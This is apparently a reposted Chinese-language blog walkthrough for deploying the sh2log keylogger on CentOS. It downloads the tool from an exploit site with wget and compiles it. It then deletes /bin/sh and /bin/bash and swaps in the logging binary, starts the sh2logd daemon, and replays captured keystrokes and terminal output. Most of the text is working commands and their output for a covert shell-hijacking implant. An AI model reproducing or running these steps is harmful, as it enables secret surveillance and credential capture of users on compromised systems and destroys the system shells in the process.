Linux键盘记录sh2log keylogger notes

不仅可以记录到击键信息，而且包括终端下的输出信息
[root@Centos log]# wget http://www.i0day.com/exp/Linux/sh2log-1.0.tgz
--2013-01-07 05:16:56-- http://www.i0day.com/exp/Linux/sh2log-1.0.tgz
Resolving packetstorm.foofus.com... 64.71.188.242
Connecting to packetstorm.foofus.com|64.71.188.242|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 80240 (78K)

Saving to: `sh2log-1.0.tgz'

100%[=====================================================================================>] 80,240 57.2K/s in 1.4s

2013-01-07 05:16:58 (57.2 KB/s) - `sh2log-1.0.tgz' saved [80240/80240]

[root@Centos log]# tar xf sh2log-1.0.tgz
[root@Centos log]# cd sh2log-1.0
[root@Centos sh2log-1.0]#

编译选项

[root@Centos sh2log-1.0]# make

Please specify the target:

make linux
make freebsd
make openbsd
make cygwin
make sunos
make irix
make hpux
make aix
make osf

如下:
[root@Centos sh2log-1.0]# make linux
gcc -g -W -Wall -o sh2log rc4.c sha1.c sh2log.c -lutil -DLINUX
gcc -g -W -Wall -o sh2logd rc4.c sha1.c sh2logd.c
gcc -g -W -Wall -o parser rc4.c sha1.c parser.c -lX11 -L/usr/X11R6/lib
parser.c:35:22: error: X11/Xlib.h: No such file or directory
parser.c: In function ‘main’:
parser.c:291: error: ‘Display’ undeclared (first use in this function)
parser.c:291: error: (Each undeclared identifier is reported only once
parser.c:291: error: for each function it appears in.)
parser.c:291: error: ‘dpi’ undeclared (first use in this function)
parser.c:292: error: ‘Window’ undeclared (first use in this function)
parser.c:292: error: expected ‘;’ before ‘wnd’
parser.c:293: error: ‘XWindowAttributes’ undeclared (first use in this function)
parser.c:293: error: expected ‘;’ before ‘xwa’
parser.c:515: warning: implicit declaration of function ‘XOpenDisplay’
parser.c:522: error: ‘wnd’ undeclared (first use in this function)
parser.c:524: warning: implicit declaration of function ‘XSetWindowBorderWidth’
parser.c:525: warning: implicit declaration of function ‘XSync’
parser.c:525: error: ‘False’ undeclared (first use in this function)
parser.c:526: warning: implicit declaration of function ‘XGetWindowAttributes’
parser.c:526: error: ‘xwa’ undeclared (first use in this function)
parser.c:714: warning: implicit declaration of function ‘XMoveResizeWindow’
parser.c:772: warning: implicit declaration of function ‘XCloseDisplay’
make: *** [linux] Error 1
错误：
parser.c:35:22: error: X11/Xlib.h: No such file or directory
安装X11
[root@Centos sh2log-1.0]# yum install libX11-devel
再编译:
[root@Centos sh2log-1.0]# make linux
gcc -g -W -Wall -o sh2log rc4.c sha1.c sh2log.c -lutil -DLINUX
gcc -g -W -Wall -o sh2logd rc4.c sha1.c sh2logd.c
gcc -g -W -Wall -o parser rc4.c sha1.c parser.c -lX11 -L/usr/X11R6/lib
先删除演示：[root@Centos sh2log-1.0]# rm test.bin
配置：
[root@Centos sh2log-1.0]# mkdir /bin/shells/
[root@Centos sh2log-1.0]# cp -p /bin/sh /bin/shells/
[root@Centos sh2log-1.0]# cp -p /bin/bash /bin/shells/
[root@Centos sh2log-1.0]# rm -rf /bin/sh /bin/bash
[root@Centos sh2log-1.0]# cp -p sh2log /bin/sh
[root@Centos sh2log-1.0]# cp -p sh2log /bin/bash
[root@Centos sh2log-1.0]# ./sh2logd
[root@Centos sh2log-1.0]# ps -ef | grep sh2logd
root 27151 1 0 05:24 ? 00:00:00 ./sh2logd
root 27175 26396 0 05:24 pts/3 00:00:00 grep sh2logd
[root@Centos sh2log-1.0]#
发现sh2logd 已经启动了 当前目录下生成了以时间命名的BIN文件
-rw------- 1 root root 0 Jan 7 05:24 sh2log-20130107-052402.bin
查看记录
先打开个终端操作以下：
[root@Centos log]# bash
[root@Centos log]# ls -la
total 112
drwxr-xr-x 3 root root 4096 Jan 7 05:17 .
drwxrwxrwt 17 root root 4096 Jan 7 05:18 ..
drwxr-xr-x 2 root root 4096 Jan 7 05:24 sh2log-1.0
-rw-r--r-- 1 root root 80240 Nov 8 2006 sh2log-1.0.tgz
[root@Centos log]# pwd
/tmp/log
[root@Centos log]#
查看日志：
[root@Centos sh2log-1.0]# ./parser sh2log-20130107-052402.bin

SID SOURCE IP UID PID START DATE END DATE DURATION

1 [127.0.0.1] 0 (27293) 07/01 05:25 | 07/01 05:25 X 03s
2 [127.0.0.1] 0 (27407) 07/01 05:26 | 07/01 05:26 X 02s

In interactive mode, use Enter to fast forward, Space to pause and q to quit.
Note that xterm is required for window resizing.

Session ID -> 2

Interactive mode (y/n) ? n

07/01 05:26:53 -> ls -la
07/01 05:26:53 -> pwd


转自：http://fuzzexp.org/linuxsh2log_keylogger.html